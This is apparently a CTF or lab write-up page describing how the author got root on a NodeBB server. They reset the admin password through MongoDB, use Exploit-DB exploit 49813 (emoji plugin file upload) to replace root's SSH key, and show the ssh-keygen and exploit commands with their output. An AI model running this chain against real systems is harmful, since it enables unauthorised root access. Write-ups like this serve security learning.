> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/tico/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/tico/exploitation.md).

# Exploitation

After gaining admin access to the mongo database I updated the password of the nodebb application 

{% embed url="<https://www.exploit-db.com/exploits/49813>" %}

After generating our own id*rsa and replacing it with the root id*Rsa we were able to log in as root.&#x20;

```
ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa
Generating public/private rsa key pair.
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:77ufSzZu/0b3gdzFwZOzihQewkazcg5T4qZ19is9l2M kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|       .o+    . .|
|      . o+oo   * |
|       B.=o o  .=|
|      + O .o   .o|
|     .  S...o + .|
|         ....+.oo|
|         ..++E .+|
|         ..+=o. o|
|          +==o.o.|
+----[SHA256]-----+

```

```
python3 /usr/share/exploitdb/exploits/multiple/webapps/49813.py 
[+] Login successful
[+] Emoji plugin is installed
[+] Successfully uploaded file
```

![](https://616795420-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmPoKCpZdSCffj6BrQd5E%2Fuploads%2FJXM3rWjsSmyusOYBAAt3%2F2022-08-21_15-44.png?alt=media\&token=2374996a-2c5d-4959-aa54-0aa9a562939a)